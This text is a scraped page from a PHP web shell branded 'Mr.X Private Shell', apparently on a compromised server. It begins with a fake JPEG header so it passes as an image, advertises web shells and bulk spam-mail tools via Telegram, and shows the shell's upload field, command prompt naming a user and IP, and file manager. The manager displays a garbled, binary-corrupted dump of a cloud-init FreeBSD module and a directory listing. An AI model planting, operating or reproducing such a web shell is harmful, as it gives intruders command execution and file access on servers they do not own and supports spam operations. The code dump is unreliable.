����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

'�Dg"�@s|ddlZddlZddlZddlmZddlZddlmZmZddl	m
Z
ddlmZm
Z
e�e�ZGdd�dejjj�ZdS)�N)�StringIO)�subp�util)�FreeBSDNetworking)�
PER_ALWAYS�PER_INSTANCEc@seZdZdZeZdZdZdZdZ	gd�Z
ddgZdd	gZdd
gZ
ddgZdZd
ZdZdZgd�Zed3dd��Zedd�eeed�dd��Zdd�Zed�dd�Zdd�Zd4d d!�Zd"d#�Zd$d%�Zd5d&d'�Zd(d)�Z dd*�d+d,�Z!e"eeeeee#d-�d.d/��Z$e"edd0�d1d2��Z%dS)6�DistrozY
    Distro subclass for FreeBSD.

    (N.B. DragonFlyBSD inherits from this class.)
    z/usr/local/libz/etc/login.confz/etc/login.conf.origz,/usr/local/etc/sudoers.d/90-cloud-init-users)�pw�group�add�pkg�install�remove�updateZupgradeTz	/usr/homez/var/dbzdhclient.leases.\w+)z
^{username}::z^{username}:\*:z^{username}:\*LOCKED\*:NcCs8tj�d�}|dur"t�d�dStjdd|gd|d�S)z�
        Tell rc to reload its configuration
        Note that this only works while we're still in the process of booting.
        May raise ProcessExecutionError
        ZRC_PIDNz0Unable to reload rc(8): no RC_PID in Environment�killz-SIGALRMT�Zcapture�rcs)�os�environ�get�LOGZwarningr)�clsrZrc_pid�r�=/usr/lib/python3.9/site-packages/cloudinit/distros/freebsd.py�reload_init7s

zDistro.reload_init)r)�action�service�
extra_argsc
Gsx|j}|dg|dg|dg|dg|dg|dg|dg|dg|dg|dg|d	g|d
gd�}|||t|�}tj|d|d
�S)a
        Perform the requested action on a service. This handles FreeBSD's
        'service' case. The FreeBSD 'service' is closer in features to
        'systemctl' than SysV init's 'service', so we override it.
        May raise ProcessExecutionError
        �stop�start�enable�enabled�disable�onestart�onestop�restart�status�	onestatus)rrr r!r"r#r$r%�reloadz
try-reloadr&r'Tr)�init_cmd�listr)rrrrrr)Zcmds�cmdrrr�manage_serviceEs 
�zDistro.manage_servicecCsddd|d|gS)Nr	�usermod�-n�-Gr)�self�member_nameZ
group_namerrr�_get_add_member_to_group_cmdasz#Distro._get_add_member_to_group_cmd)�returncKs�t�|�rt�d|�dSddd|g}ddd|g}dddd	d
ddd
�}dddd�}|��D]b\}}||vr�|r�t|ttf�r�|�||t|�g�qZ||vrZ|rZ|�	||�|�	||�qZd|vs�d|vr�|�	d�|�	d�nH|�
d|j�d|���}	|�	d|	�|�	d�|�	d|	�|�	d�t�d|�ztj||d�Wn$t
�ynt�td|��Yn0|�
dd�}
|
du�r�|j||
dd�dS)z~
        Add a user to the system using standard tools

        Returns False if user already exists, otherwise True.
        z!User %s already exists, skipping.Fr	Zuseraddr.z-d�-cz-gr/z-sz-Ez-u)�homedirZgecosZ
primary_group�groups�shellZinactive�uidz--no-user-groupz--systemz
--no-log-init)Z
no_user_group�systemZno_log_initZno_create_homer9z-d/nonexistentr5�/z-mzAdding user %s)�	logstringzFailed to create user %s�passwdNT)�hashed)rZis_userr�info�items�
isinstance�str�int�extend�appendr�home_dirr�	Exception�logexc�
set_passwd)r0�name�kwargsZpw_useradd_cmdZlog_pw_useradd_cmdZpw_useradd_optsZpw_useradd_flags�key�valr5Z
passwd_valrrr�add_userdsR
�
�



zDistro.add_usercCs@zt�dd|ddg�Wn"ty:t�td|��Yn0dS)Nr	r-�-pz01-Jan-1970z"Failed to set pw expiration for %s�rrFrrGr)r0�userrrr�
expire_passwd�s
zDistro.expire_passwdFcCsX|r
d}nd}z"tjdd||dg|d|d�Wn"tyRt�td|��Yn0dS)	Nz-Hz-hr	r-�0zchpasswd for %s)�datar;zFailed to set password for %srO)r0rPr<r=Zhash_optrrrrH�s�
zDistro.set_passwdcCs@zt�dd|ddg�Wn"ty:t�td|��Yn0dS)Nr	r-z-w�noz)Failed to lock password login for user %srO�r0rIrrr�lock_passwd�s
zDistro.lock_passwdcCst�d|�dS)NzRDragonfly BSD/FreeBSD password lock is not reversible, ignoring unlock for user %s)r�debugrUrrr�
unlock_passwd�s�zDistro.unlock_passwdcCs�t�}t�|j���D]&}|�t�dd||��|�d�qt�|j|j	�t�
|j|���z t�
d|�t�d|jg�WnZtjy�t�td|�zt�|j	|j�Wn"ty�t�td|j�Yn0Yn0dS)Nz	^default:zdefault:lang=%s:�
zRunning cap_mkdb for %sZcap_mkdbzFailed to apply locale %szFailed to restore %s backup)rrZload_text_file�
login_conf_fn�
splitlines�write�re�sub�copy�login_conf_fn_bakZ
write_file�getvaluerrWrZProcessExecutionErrorrG�IOError)r0�localeZout_fnZnewconf�linerrr�apply_locale�s&��zDistro.apply_localecCsddiS)zJReturn environment vars used in FreeBSD package_command
        operationsZASSUME_ALWAYS_YESZYESr)r0rrr�_get_pkg_cmd_environ�szDistro._get_pkg_cmd_environ)�forcecCs$|jjd|jdg|rtntd�dS)Nzupdate-sourcesr)Zfreq)Z_runner�runZpackage_commandrr)r0rgrrr�update_package_sources�s
�zDistro.update_package_sources)�path�
lease_file�pid_file�	interface�config_filer3cCs"|d|d|g|rd||gn|gS)Nz-lrNr4r)rjrkrlrmrnrrr�build_dhclient_cmd�s�zDistro.build_dhclient_cmd)�devicer3cCst�dd|g�dS)NZ
camcontrolZeject)r)rprrr�eject_media�szDistro.eject_media)N)F)N)&�__name__�
__module__�__qualname__�__doc__rZnetworking_clsZusr_lib_execrZr`Z
ci_sudoers_fnZgroup_add_cmd_prefixZpkg_cmd_install_prefixZpkg_cmd_remove_prefixZpkg_cmd_update_prefixZpkg_cmd_upgrade_prefixZprefer_fqdnrEZdhclient_lease_directoryZdhclient_lease_file_regexZ#shadow_empty_locked_passwd_patterns�classmethodrrAr,r2�boolrMrQrHrVrXrerfri�staticmethodr*rorqrrrrrsT
��>

�r)Zloggingrr]�iorZcloudinit.distros.bsdZ	cloudinitrrZcloudinit.distros.networkingrZcloudinit.settingsrrZ	getLoggerrrrZdistrosZbsdZBSDrrrrr�<module>s


Filemanager

Name Type Size Permission Actions
OpenCloudOS.cpython-39.opt-1.pyc File 588 B 0644
OpenCloudOS.cpython-39.pyc File 588 B 0644
TencentOS.cpython-39.opt-1.pyc File 586 B 0644
TencentOS.cpython-39.pyc File 586 B 0644
__init__.cpython-39.opt-1.pyc File 44.15 KB 0644
__init__.cpython-39.pyc File 44.15 KB 0644
almalinux.cpython-39.opt-1.pyc File 357 B 0644
almalinux.cpython-39.pyc File 357 B 0644
alpine.cpython-39.opt-1.pyc File 14.33 KB 0644
alpine.cpython-39.pyc File 14.33 KB 0644
amazon.cpython-39.opt-1.pyc File 623 B 0644
amazon.cpython-39.pyc File 623 B 0644
aosc.cpython-39.opt-1.pyc File 4.33 KB 0644
aosc.cpython-39.pyc File 4.33 KB 0644
arch.cpython-39.opt-1.pyc File 4.25 KB 0644
arch.cpython-39.pyc File 4.25 KB 0644
azurelinux.cpython-39.opt-1.pyc File 2.02 KB 0644
azurelinux.cpython-39.pyc File 2.02 KB 0644
bsd.cpython-39.opt-1.pyc File 6.16 KB 0644
bsd.cpython-39.pyc File 6.16 KB 0644
bsd_utils.cpython-39.opt-1.pyc File 1.13 KB 0644
bsd_utils.cpython-39.pyc File 1.13 KB 0644
centos.cpython-39.opt-1.pyc File 354 B 0644
centos.cpython-39.pyc File 354 B 0644
cloudlinux.cpython-39.opt-1.pyc File 358 B 0644
cloudlinux.cpython-39.pyc File 358 B 0644
cos.cpython-39.opt-1.pyc File 353 B 0644
cos.cpython-39.pyc File 353 B 0644
debian.cpython-39.opt-1.pyc File 7.95 KB 0644
debian.cpython-39.pyc File 7.95 KB 0644
dragonflybsd.cpython-39.opt-1.pyc File 405 B 0644
dragonflybsd.cpython-39.pyc File 405 B 0644
eurolinux.cpython-39.opt-1.pyc File 357 B 0644
eurolinux.cpython-39.pyc File 357 B 0644
fedora.cpython-39.opt-1.pyc File 354 B 0644
fedora.cpython-39.pyc File 354 B 0644
freebsd.cpython-39.opt-1.pyc File 7.01 KB 0644
freebsd.cpython-39.pyc File 7.01 KB 0644
gentoo.cpython-39.opt-1.pyc File 3.87 KB 0644
gentoo.cpython-39.pyc File 3.87 KB 0644
mariner.cpython-39.opt-1.pyc File 1.63 KB 0644
mariner.cpython-39.pyc File 1.63 KB 0644
miraclelinux.cpython-39.opt-1.pyc File 360 B 0644
miraclelinux.cpython-39.pyc File 360 B 0644
netbsd.cpython-39.opt-1.pyc File 4.97 KB 0644
netbsd.cpython-39.pyc File 4.97 KB 0644
networking.cpython-39.opt-1.pyc File 12.33 KB 0644
networking.cpython-39.pyc File 12.33 KB 0644
openbsd.cpython-39.opt-1.pyc File 2.5 KB 0644
openbsd.cpython-39.pyc File 2.5 KB 0644
openeuler.cpython-39.opt-1.pyc File 584 B 0644
openeuler.cpython-39.pyc File 584 B 0644
openmandriva.cpython-39.opt-1.pyc File 362 B 0644
openmandriva.cpython-39.pyc File 362 B 0644
opensuse-leap.cpython-39.opt-1.pyc File 365 B 0644
opensuse-leap.cpython-39.pyc File 365 B 0644
opensuse-microos.cpython-39.opt-1.pyc File 368 B 0644
opensuse-microos.cpython-39.pyc File 368 B 0644
opensuse-tumbleweed.cpython-39.opt-1.pyc File 371 B 0644
opensuse-tumbleweed.cpython-39.pyc File 371 B 0644
opensuse.cpython-39.opt-1.pyc File 6.44 KB 0644
opensuse.cpython-39.pyc File 6.44 KB 0644
photon.cpython-39.opt-1.pyc File 4.55 KB 0644
photon.cpython-39.pyc File 4.55 KB 0644
rhel.cpython-39.opt-1.pyc File 5.1 KB 0644
rhel.cpython-39.pyc File 5.1 KB 0644
rhel_util.cpython-39.opt-1.pyc File 1016 B 0644
rhel_util.cpython-39.pyc File 1016 B 0644
rocky.cpython-39.opt-1.pyc File 353 B 0644
rocky.cpython-39.pyc File 353 B 0644
sle-micro.cpython-39.opt-1.pyc File 361 B 0644
sle-micro.cpython-39.pyc File 361 B 0644
sle_hpc.cpython-39.opt-1.pyc File 359 B 0644
sle_hpc.cpython-39.pyc File 359 B 0644
sles.cpython-39.opt-1.pyc File 356 B 0644
sles.cpython-39.pyc File 356 B 0644
suse.cpython-39.opt-1.pyc File 356 B 0644
suse.cpython-39.pyc File 356 B 0644
ubuntu.cpython-39.opt-1.pyc File 2.14 KB 0644
ubuntu.cpython-39.pyc File 2.14 KB 0644
ug_util.cpython-39.opt-1.pyc File 3.98 KB 0644
ug_util.cpython-39.pyc File 3.98 KB 0644
virtuozzo.cpython-39.opt-1.pyc File 357 B 0644
virtuozzo.cpython-39.pyc File 357 B 0644